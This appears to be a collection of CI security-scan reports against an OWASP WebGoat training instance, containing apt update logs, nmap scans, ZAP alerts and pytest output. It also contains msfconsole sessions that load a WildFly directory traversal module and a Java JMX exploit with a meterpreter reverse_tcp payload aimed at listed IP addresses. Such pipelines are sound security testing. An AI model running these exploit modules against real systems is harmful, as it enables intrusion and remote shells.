View the [following link](#) to download the report. RunnerID:6439964726

Metasploit-ParrotOS Test output

GitHub Issue number # 459

GitHub Issue URL : [Here!](#)

parrotOS
metasploit

Interactive Application Security Testing :

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.4 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.6 kB]

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [17.7 MB]

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [115 kB]

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [215 kB]

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [530 kB]

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [1149 kB]

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [22.6 kB]

Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Fetchd 19.9 MB in 2s (11.6 MB/s)

Reading package lists...

Building dependency tree...

Reading state information...

31 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file

libaom0 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2

libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0

libmagic-mgc libmagic1 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
openssh-client openssh-server openssh-sftp-server openssl
python3-typing-extensions

31 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 17.1 MB of archives.

After this operation, 51.2 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file
libaom0 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
openssh-client openssh-server openssh-sftp-server openssl
python3-typing-extensions

31 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 17.1 MB of archives.

After this operation, 51.2 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Hit:1 <https://deb.parrot.sh/parrot> parrot InRelease

Hit:2 <https://deb.parrot.sh/direct/parrot> parrot-security InRelease

Hit:3 <https://deb.parrot.sh/parrot> parrot-backports InRelease

Reading package lists...

Building dependency tree...

Reading state information...

31 packages can be upgraded. Run 'apt list --upgradable' to see them.

Cleaning up any existing old code copies of security tests...

This is not a secure way to check out code;

Getting the latest code copy for all security tests...

=====

Metasploit Framework Exploit Demo :

=====

Target Web Goat Instance IP Address : 20.204.35.137

Possible Metasploit exploits or auxiliaries or payloads, that can used for attacking

=====

Sample attack executions from msfconsole CLI >>>

Sample 1 : Running Wildfly directory traversal auxillary attack ... >>>

[*] Processing ./src/exploitwildflydir_traversal.rc for ERB directives.

resource (./src/exploitwildflydirtraversal.rc)> use auxiliary/scanner/http/wildflytraversal

resource (./src/exploitwildflydir_traversal.rc)> show options

Module options (auxiliary/scanner/http/wildfly_traversal):

Name Current Setting Required Description

Proxies no A proxy chain of format type:host:port[,type:host:port][...]

RELATIVEFILEPATH standalone

RHOSTS yes The target host(s), see <https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html>

RPORT 8080 yes The target port (TCP)

SSL false no Negotiate SSL/TLS for outgoing connections

THREADS 1 yes The number of concurrent threads (max one per host)

TRAVERSAL_DEPTH 1 yes Traversal depth

VHOST no HTTP server virtual host

View the full module info with the info, or info -d command.

[*] resource (./src/exploitwildflydir_traversal.rc)> Ruby Code (57 bytes)

RHOSTS =>

resource (./src/exploitwildflydir_traversal.rc)> run

[-] Msf::OptionValidateError The following options failed to validate: RHOSTS

resource (./src/exploitwildflydir_traversal.rc)> exit

Sample 2 : Running Java JMX Reverse HTTPS command shell exploit... >>>

[*] Processing ./src/exploit/javajmxreversehttps.rc for ERB directives.

resource (./src/exploit/javajmxreversehttps.rc)> use exploit/multi/misc/javajmxserver

```

[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
resource (./src/exploit/javajmxreversehttps.rc)> show options
Module options (exploit/multi/misc/javajmxserver):
Name Current Setting Required Description
----
JMXRMI jmxrmi yes The name where the JMX RMI interface is bound
JMX_PASSWORD no The password to interact with an authenticated JMX endpoint
JMX_ROLE no The role to interact with an authenticated JMX endpoint
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (java/meterpreter/reverse_tcp):
Name Current Setting Required Description
----
LHOST 172.17.0.2 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-----
0 Generic (Java Payload)
View the full module info with the info, or info -d command.
[*] resource (./src/exploit/javajmxreversehttps.rc)> Ruby Code (57 bytes)
RHOSTS =>
resource (./src/exploit/javajmxreversehttps.rc)> use payload/generic/shellreversetcp
resource (./src/exploit/javajmxreversehttps.rc)> exploit
[*] Payload Handler Started as Job
resource (./src/exploit/javajmxreversehttps.rc)> exit
=====

```

Nmap-ParrotOS Scan output

GitHub Issue number # 458

GitHub Issue URL : [Here!](#)

parrotOS
nmap

Nmap vulnerability scanning
for 20.204.35.137

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.4 kB]

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Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [17.7 MB]

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [115 kB]

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [215 kB]

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [530 kB]

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [1149 kB]

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [22.6 kB]

Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Fetchd 19.9 MB in 2s (11.5 MB/s)

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Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

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libaom0 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2

libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
openssh-client openssh-server openssh-sftp-server openssl
python3-typing-extensions

31 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 17.1 MB of archives.

After this operation, 51.2 kB disk space will be freed.

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Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

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libaom0 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
openssh-client openssh-server openssh-sftp-server openssl
python3-typing-extensions

31 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 17.1 MB of archives.

After this operation, 51.2 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Hit:1 <https://deb.parrot.sh/parrot> parrot InRelease

Hit:2 <https://deb.parrot.sh/direct/parrot> parrot-security InRelease

Hit:3 <https://deb.parrot.sh/parrot> parrot-backports InRelease

Reading package lists...

Building dependency tree...

Reading state information...

31 packages can be upgraded. Run 'apt list --upgradable' to see them.

Running basic nmap scan...

Starting Nmap 7.92 (<https://nmap.org>) at 2023-10-05 07:22 UTC

Nmap scan report for 20.204.35.137

Host is up (0.20s latency).

Not shown: 65530 filtered tcp ports (no-response)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 256 94:56:3d:02:1a:79:85:57:49:cc:3f:28:1d:2e:46:5e (ECDSA)

|_ 256 36:5a:6d:e4:96:ae:92:d9:bd:60:61:bc:30:46:28:7f (ED25519)

80/tcp closed http

443/tcp closed https

8080/tcp open http-proxy

|_ http-title: Site doesn't have a title.

| fingerprint-strings:

| FourOhFourRequest:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

| Date: Thu, 05 Oct 2023 07:25:54 GMT

| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, Socks5, TLSSessionReq, TerminalServerCookie, WMSRequest, oracle-tns:

| HTTP/1.1 400 Bad Request

| Content-Length: 0

| Connection: close

| GetRequest, HTTPOptions:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

|_ Date: Thu, 05 Oct 2023 07:25:53 GMT

9090/tcp open zeus-admin?

| fingerprint-strings:

| GenericLines, RTSPRequest, SqueezeCenter_CLI, WMSRequest, ibm-db2-das:

| HTTP/1.1 400 Bad Request

| Content-Length: 0
| Connection: close
| GetRequest:
| HTTP/1.1 404 Not Found
| Expires: 0
| Cache-Control: no-cache, no-store, max-age=0, must-revalidate
| X-XSS-Protection: 1; mode=block
| Pragma: no-cache
| X-Frame-Options: DENY
| Date: Thu, 05 Oct 2023 07:25:53 GMT
| Connection: close
| Vary: Origin
| Vary: Access-Control-Request-Method
| Vary: Access-Control-Request-Headers
| X-Content-Type-Options: nosniff
| Content-Type: application/json
| "timestamp" : "2023-10-05T07:25:53.057+00:00",
| "status" : 404,
| "error" : "Not Found",
| "path" : "/"
| HTTPOptions:
| HTTP/1.1 404 Not Found
| Expires: 0
| Cache-Control: no-cache, no-store, max-age=0, must-revalidate
| X-XSS-Protection: 1; mode=block
| Pragma: no-cache
| X-Frame-Options: DENY
| Date: Thu, 05 Oct 2023 07:26:10 GMT
| Allow: GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS, PATCH
| Connection: close
| Vary: Origin
| Vary: Access-Control-Request-Method

| Vary: Access-Control-Request-Headers
| X-Content-Type-Options: nosniff
| Content-Type: application/json
| "timestamp" : "2023-10-05T07:26:10.655+00:00",
| "status" : 404,
| "error" : "Not Found",
|_ "path" : "/"

2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at <https://nmap.org/cgi-bin/submit.cgi?new-service> :

=====NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)=====

SF-Port8080-TCP:V=7.92%I=7%D=10/5%Time=651E6501%P=x86_64-pc-linux-gnu%r(Ge

SF:tRequest,65,"HTTP/1.1 404 Not Found Connection: close

SF: Content-Length: 0 Date: Thu, 05 Oct 2023 07:25:5

SF:3 GMT

")%r(HTTPOptions,65,"HTTP/1.1 404 Not Found

SF: Connection: close Content-Length: 0 Date: Thu, 05\

SF:20Oct 2023 07:25:53 GMT

")%r(RTSPRequest,42,"HTTP/1.1\n

SF:x20400 Bad Request Content-Length: 0 Connection: clos

SF:e

")%r(FourOhFourRequest,65,"HTTP/1.1 404 Not Found \n

SF:nConnection: close Content-Length: 0 Date: Thu, 05

SF:0Oct 2023 07:25:54 GMT

")%r(Socks5,42,"HTTP/1.1 400

SF: Bad Request Content-Length: 0 Connection: close \n

SF:r ")%r(GenericLines,42,"HTTP/1.1 400 Bad Request Content-

SF:Length: 0 Connection: close

")%r(Help,42,"HTTP/1.1

SF:400 Bad Request Content-Length: 0 Connection: close

SF:

")%r(SSLSessionReq,42,"HTTP/1.1 400 Bad Request Cont

SF:ent-Length: 0 Connection: close
")%r(TerminalServerCook
SF:ie,42,"HTTP/1.1 400 Bad Request Content-Length: 0 Co
SF:nnection: close
")%r(TLSSessionReq,42,"HTTP/1.1 400 Ba
SF:d Request Content-Length: 0 Connection: close
")%
SF:r(Kerberos,42,"HTTP/1.1 400 Bad Request Content-Length:
SF:00 Connection: close
")%r(SMBProgNeg,42,"HTTP/1.1 400\n
SF:x20Bad Request Content-Length: 0 Connection: close
SF: ")%r(LPDString,42,"HTTP/1.1 400 Bad Request Content-Leng
SF:th: 0 Connection: close
")%r(LDAPSearchReq,42,"HTTP/1.
SF:1 400 Bad Request Content-Length: 0 Connection: cl
SF:ose
")%r(SIPOptions,42,"HTTP/1.1 400 Bad Request Co
SF:ntent-Length: 0 Connection: close
")%r(WMSRequest,42,"H
SF:TTP/1.1 400 Bad Request Content-Length: 0 Connection
SF:: close
")%r(oracle-tns,42,"HTTP/1.1 400 Bad Reques
SF:t Content-Length: 0 Connection: close
");
=====NEXT SERVICE FINGERPRINT (SUBMIT
INDIVIDUALLY)=====

SF-Port9090-TCP:V=7.92%I=7%D=10/5%Time=651E6501%P=x86_64-pc-linux-
gnu%r(Ge
SF:tRequest,1EF,"HTTP/1.1 404 Not Found Expires: 0 Cach
SF:e-Control: no-cache, no-store, max-age=0, must-revalidate
SF: X-XSS-Protection: 1; mode=block Pragma: no-cache X-Fra
SF:me-Options: DENY Date: Thu, 05 Oct 2023 07:25:53\x
SF:20GMT Connection: close Vary: Origin Vary: Access-Con

SF:trol-Request-Method Vary: Access-Control-Request-Headers X-Con
SF:tent-Type-Options: nosniff Content-Type: application/json \n
SF:r { \"timestamp\" : \"2023-10-05T07:25:53.057+00:00\"
SF:, \"status\" : 404, \"error\" : \"Not
SF:Found\", \"path\" : \"\" }\")%r(WMSRequest,42,\"HTTP/1.
SF:1 400 Bad Request Content-Length: 0 Connection: cl
SF:ose
\")%r(ibm-db2-das,42,\"HTTP/1.1 400 Bad Request C
SF:ontent-Length: 0 Connection: close
\")%r(SqueezeCenter_C
SF:LI,42,\"HTTP/1.1 400 Bad Request Content-Length: 0 Co
SF:nnection: close
\")%r(GenericLines,42,\"HTTP/1.1 400 Bad
SF: Request Content-Length: 0 Connection: close
\")%r
SF:(HTTPOptions,22B,\"HTTP/1.1 404 Not Found Expires: 0
SF:Cache-Control: no-cache, no-store, max-age=0, must-revalida
SF:te X-XSS-Protection: 1; mode=block Pragma: no-cache X
SF:-Frame-Options: DENY Date: Thu, 05 Oct 2023 07:26:
SF:10 GMT Allow: GET, HEAD, POST, PUT, DELETE, TRA
SF:CE, OPTIONS, PATCH Connection: close Vary: Origin
SF:Vary: Access-Control-Request-Method Vary: Access-Control-Reque
SF:st-Headers X-Content-Type-Options: nosniff Content-Type: ap
SF:plication/json
{ \"timestamp\" : \"2023-10-05T07:
SF:26:10.655+00:00\", \"status\" : 404, \"error\"
SF: \" : \"Not Found\", \"path\" : \"\" }\")%r(RTSP
SF:Request,42,\"HTTP/1.1 400 Bad Request Content-Length: 0\\n
SF:r Connection: close
\");
Device type: general purpose|storage-misc
Running (JUST GUESSING): Linux 2.6.X|3.X (86%), Synology DiskStation Manager 5.X
(85%)

OS CPE: cpe:/o:linux:linuxkernel:2.6.32 cpe:/o:linux:linuxkernel:3.10 cpe:/o:linux:linuxkernel cpe:/a:synology:diskstationmanager:5.1

Aggressive OS guesses: Linux 2.6.32 or 3.10 (86%), Synology DiskStation Manager 5.1 (85%), Linux 2.6.32 (85%), Linux 2.6.39 (85%), Linux 3.10 - 3.12 (85%), Linux 3.4 (85%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 2 hops

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 443/tcp)

HOP RTT ADDRESS

1 0.02 ms 172.17.0.1

2 5413.81 ms 20.204.35.137

OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .

Nmap done: 1 IP address (1 host up) scanned in 320.66 seconds

Running vulnerability scanning using basic nmap scripts - SQL Injection...

Starting Nmap 7.92 (<https://nmap.org>) at 2023-10-05 07:28 UTC

Nmap scan report for 20.204.35.137

Host is up (0.20s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 0.79 seconds

Running vulnerability scanning using CSS nmap script...

Starting Nmap 7.92 (<https://nmap.org>) at 2023-10-05 07:28 UTC

Nmap scan report for 20.204.35.137

Host is up (0.20s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 1.12 seconds

ZAP Full Scan Report

GitHub Issue number # 457

GitHub Issue URL : [Here!](#)

- Site: <http://20.204.35.137:8080> **New Alerts**
 - **Absence of Anti-CSRF Tokens** [10202] total: 1:
 - <http://20.204.35.137:8080/WebGoat/login>
 - **Anti-CSRF Tokens Check** [20012] total: 1:
 - <http://20.204.35.137:8080/WebGoat/login>
 - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
 - <http://20.204.35.137:8080/WebGoat/login>
 - **Permissions Policy Header Not Set** [10063] total: 1:
 - <http://20.204.35.137:8080/WebGoat/login>
 - **Sec-Fetch-Dest Header is Missing** [90005] total: 4:
 - <http://20.204.35.137:8080/>
 - <http://20.204.35.137:8080/robots.txt>
 - <http://20.204.35.137:8080/sitemap.xml>
 - <http://20.204.35.137:8080/WebGoat/login>
 - **Sec-Fetch-Mode Header is Missing** [90005] total: 4:
 - <http://20.204.35.137:8080/>
 - <http://20.204.35.137:8080/robots.txt>
 - <http://20.204.35.137:8080/sitemap.xml>
 - <http://20.204.35.137:8080/WebGoat/login>
 - **Sec-Fetch-Site Header is Missing** [90005] total: 4:
 - <http://20.204.35.137:8080/>
 - <http://20.204.35.137:8080/robots.txt>
 - <http://20.204.35.137:8080/sitemap.xml>
 - <http://20.204.35.137:8080/WebGoat/login>
 - **Sec-Fetch-User Header is Missing** [90005] total: 4:
 - <http://20.204.35.137:8080/>
 - <http://20.204.35.137:8080/robots.txt>
 - <http://20.204.35.137:8080/sitemap.xml>
 - <http://20.204.35.137:8080/WebGoat/login>
 - **Storable and Cacheable Content** [10049] total: 4:
 - <http://20.204.35.137:8080/>
 - <http://20.204.35.137:8080/robots.txt>
 - <http://20.204.35.137:8080/sitemap.xml>
 - <http://20.204.35.137:8080/WebGoat/login>
 - **User Agent Fuzzer** [10104] total: 12:
 - <http://20.204.35.137:8080/WebGoat>
 - <http://20.204.35.137:8080/WebGoat>
 - <http://20.204.35.137:8080/WebGoat>
 - <http://20.204.35.137:8080/WebGoat>
 - <http://20.204.35.137:8080/WebGoat>
 - ..

View the [following link](#) to download the report. RunnerID:6415803484

Sonar Cloud Code Scan Report

GitHub Issue number # 456

GitHub Issue URL : [Here!](#)

SonarQube Cloud code scan

SonarCloud Scan for OWASP WebGoat

Go to https://sonarcloud.io/project/overview?id=pradyumna-muppirala_WebGoatSAST for full report of SonarCloud with Github SSO.

Snyk Report

GitHub Issue number # 455

GitHub Issue URL : [Here!](#)

Snyk_scan

Snyk Scan for OWASP WebGoat

Go to <https://app.snyk.io/org/pradyumna-muppirala> for full report of Snyk with Github SSO.

Pytest-Playwright Test Output Issue

GitHub Issue number # 454

GitHub Issue URL : [Here!](#)

Playwright pytest

Starting pytests....

```
===== test session starts  
=====
```

platform linux -- Python 3.10.12, pytest-7.4.2, pluggy-1.3.0

rootdir: /home/runner/work/ASTICI/ASTICI

plugins: asyncio-0.21.1, anyio-4.0.0, tornasync-0.6.0.post2, base-url-2.0.0,
playwright-0.4.2, trio-0.8.0

asyncio: mode=strict

collected 5 items

src/test_AsyncWebGoatUseCases.py ... [60%]

src/test_WebGoatUseCases.py .. [100%]

```
===== 5 passed in 26.49s  
=====
```

Stop pytests....

ZAP Full Scan Report

GitHub Issue number # 453

GitHub Issue URL : [Here!](#)

- Site: <http://20.193.233.132:8080> **New Alerts**
 - **Absence of Anti-CSRF Tokens** [10202] total: 1:
 - <http://20.193.233.132:8080/WebGoat/login>
 - **Anti-CSRF Tokens Check** [20012] total: 1:
 - <http://20.193.233.132:8080/WebGoat/login>
 - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
 - <http://20.193.233.132:8080/WebGoat/login>
 - **Cookie No HttpOnly Flag** [10010] total: 1:
 - <http://20.193.233.132:8080/WebGoat/start.mvc>
 - **Cookie Slack Detector** [90027] total: 2:
 - <http://20.193.233.132:8080/WebGoat/login>
 - <http://20.193.233.132:8080/WebGoat/start.mvc>
 - **Cookie without SameSite Attribute** [10054] total: 1:
 - <http://20.193.233.132:8080/WebGoat/start.mvc>
 - **Permissions Policy Header Not Set** [10063] total: 1:
 - <http://20.193.233.132:8080/WebGoat/login>
 - **Base64 Disclosure** [10094] total: 1:
 - <http://20.193.233.132:8080/WebGoat/start.mvc>
 - **Non-Storable Content** [10049] total: 1:
 - <http://20.193.233.132:8080/WebGoat/start.mvc>
 - **Sec-Fetch-Dest Header is Missing** [90005] total: 4:
 - <http://20.193.233.132:8080/>
 - <http://20.193.233.132:8080/sitemap.xml>
 - <http://20.193.233.132:8080/WebGoat/login>
 - <http://20.193.233.132:8080/WebGoat/start.mvc>
 - **Sec-Fetch-Mode Header is Missing** [90005] total: 4:
 - <http://20.193.233.132:8080/>
 - <http://20.193.233.132:8080/sitemap.xml>
 - <http://20.193.233.132:8080/WebGoat/login>
 - <http://20.193.233.132:8080/WebGoat/start.mvc>
 - **Sec-Fetch-Site Header is Missing** [90005] total: 4:
 - <http://20.193.233.132:8080/>
 - <http://20.193.233.132:8080/sitemap.xml>
 - <http://20.193.233.132:8080/WebGoat/login>
 - <http://20.193.233.132:8080/WebGoat/start.mvc>
 - **Sec-Fetch-User Header is Missing** [90005] total: 4:
 - <http://20.193.233.132:8080/>
 - <http://20.193.233.132:8080/sitemap.xml>
 - <http://20.193.233.132:8080/WebGoat/login>
 - <http://20.193.233.132:8080/WebGoat/start.mvc>
 - **Session Management Response Identified** [10112] total: 2:
 - <http://20.193.233.132:8080/WebGoat/start.mvc>
 - <http://20.193.233.132:8080/WebGoat/start.mvc>
 - **Storable and Cacheable Content** [10049] total: 4:
 - <http://20.193.233.132:8080/>
 - <http://20.193.233.132:8080/robots.txt>
 - <http://20.193.233.132:8080/sitemap.xml>
 - <http://20.193.233.132:8080/WebGoat/login>
 - **User Agent Fuzzer** [10104] total: 24:
 - <http://20.193.233.132:8080/WebGoat>
 - <http://20.193.233.132:8080/WebGoat>

- <http://20.193.233.132:8080/WebGoat>
- <http://20.193.233.132:8080/WebGoat>
- <http://20.193.233.132:8080/WebGoat>
- ..

View the [following link](#) to download the report. RunnerID:6377072566

- Site: <http://20.204.35.137:8080> **New Alerts**
 - **Absence of Anti-CSRF Tokens** [10202] total: 1:
 - <http://20.204.35.137:8080/WebGoat/registration>
 - **Anti-CSRF Tokens Check** [20012] total: 1:
 - <http://20.204.35.137:8080/WebGoat/registration>
 - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
 - <http://20.204.35.137:8080/WebGoat/registration>
 - **Permissions Policy Header Not Set** [10063] total: 1:
 - <http://20.204.35.137:8080/WebGoat/registration>
 - **Sec-Fetch-Dest Header is Missing** [90005] total: 3:
 - <http://20.204.35.137:8080/>
 - <http://20.204.35.137:8080/robots.txt>
 - <http://20.204.35.137:8080/WebGoat/registration>
 - **Sec-Fetch-Mode Header is Missing** [90005] total: 3:
 - <http://20.204.35.137:8080/>
 - <http://20.204.35.137:8080/robots.txt>
 - <http://20.204.35.137:8080/WebGoat/registration>
 - **Sec-Fetch-Site Header is Missing** [90005] total: 3:
 - <http://20.204.35.137:8080/>
 - <http://20.204.35.137:8080/robots.txt>
 - <http://20.204.35.137:8080/WebGoat/registration>
 - **Sec-Fetch-User Header is Missing** [90005] total: 3:
 - <http://20.204.35.137:8080/>
 - <http://20.204.35.137:8080/robots.txt>
 - <http://20.204.35.137:8080/WebGoat/registration>
 - **Storable and Cacheable Content** [10049] total: 4:
 - <http://20.204.35.137:8080/>
 - <http://20.204.35.137:8080/robots.txt>
 - <http://20.204.35.137:8080/sitemap.xml>
 - <http://20.204.35.137:8080/WebGoat/registration>
 - **User Agent Fuzzer** [10104] total: 12:
 - <http://20.204.35.137:8080/WebGoat>
 - <http://20.204.35.137:8080/WebGoat>
 - <http://20.204.35.137:8080/WebGoat>
 - <http://20.204.35.137:8080/WebGoat>
 - <http://20.204.35.137:8080/WebGoat>
 - ..

View the [following link](#) to download the report. RunnerID:6415803484

Metasploit-ParrotOS Test output

GitHub Issue number # 452

GitHub Issue URL : [Here!](#)

parrotOS
metasploit

Interactive Application Security Testing :

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.4 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.6 kB]

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [17.7 MB]

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [115 kB]

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [215 kB]

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [526 kB]

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [1147 kB]

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [22.6 kB]

Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Fetchd 19.9 MB in 2s (7959 kB/s)

Reading package lists...

Building dependency tree...

Reading state information...

23 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs dnsutils file libaom0 libgssapi-krb5-2

libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0

libmagic-mgc libmagic1 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3

openssh-client openssh-server openssh-sftp-server openssl

python3-typing-extensions

23 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 9186 kB of archives.

After this operation, 63.5 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs dnsutils file libaom0 libgssapi-krb5-2

libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0

libmagic-mgc libmagic1 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3

openssh-client openssh-server openssh-sftp-server openssl

python3-typing-extensions

23 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 9186 kB of archives.

After this operation, 63.5 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Hit:1 <https://deb.parrot.sh/parrot> parrot InRelease

Hit:2 <https://deb.parrot.sh/direct/parrot> parrot-security InRelease

Hit:3 <https://deb.parrot.sh/parrot> parrot-backports InRelease

Reading package lists...

Building dependency tree...

Reading state information...

23 packages can be upgraded. Run 'apt list --upgradable' to see them.

Cleaning up any existing old code copies of security tests...

This is not a secure way to check out code;

Getting the latest code copy for all security tests...

=====

Metasploit Framework Exploit Demo :

=====

Target Web Goat Instance IP Address : 20.193.233.132

Possible Metasploit exploits or auxiliaries or payloads, that can used for attacking

=====

Sample attack executions from msfconsole CLI >>>

Sample 1 : Running Wildfly directory traversal auxillary attack ... >>>

[*] Processing ./src/exploitwildflydir_traversal.rc for ERB directives.

resource (./src/exploitwildflydirtraversal.rc)> use auxiliary/scanner/http/wildflytraversal

resource (./src/exploitwildflydir_traversal.rc)> show options

Module options (auxiliary/scanner/http/wildfly_traversal):

Name Current Setting Required Description

Proxies no A proxy chain of format type:host:port[,type:host:port][...]

RELATIVEFILEPATH standalone

RHOSTS yes The target host(s), see <https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html>

RPORT 8080 yes The target port (TCP)

SSL false no Negotiate SSL/TLS for outgoing connections

THREADS 1 yes The number of concurrent threads (max one per host)

TRAVERSAL_DEPTH 1 yes Traversal depth

VHOST no HTTP server virtual host

View the full module info with the info, or info -d command.

[*] resource (./src/exploitwildflydir_traversal.rc)> Ruby Code (57 bytes)

RHOSTS =>

resource (./src/exploitwildflydir_traversal.rc)> run

[-] Msf::OptionValidateError The following options failed to validate: RHOSTS

resource (./src/exploitwildflydir_traversal.rc)> exit

Sample 2 : Running Java JMX Reverse HTTPS command shell exploit... >>>

[*] Processing ./src/exploitjavajmxreversehttps.rc for ERB directives.

resource (./src/exploitjavajmxreversehttps.rc)> use exploit/multi/misc/javajmxserver

[*] No payload configured, defaulting to java/meterpreter/reverse_tcp

resource (./src/exploitjavajmxreversehttps.rc)> show options

Module options (exploit/multi/misc/javajmxserver):

Name	Current	Setting	Required	Description
------	---------	---------	----------	-------------

JMXRMI	jmxrmi	yes		The name where the JMX RMI interface is bound
JMX_PASSWORD		no		The password to interact with an authenticated JMX endpoint
JMX_ROLE		no		The role to interact with an authenticated JMX endpoint
RHOSTS		yes		The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT		yes		The target port (TCP)
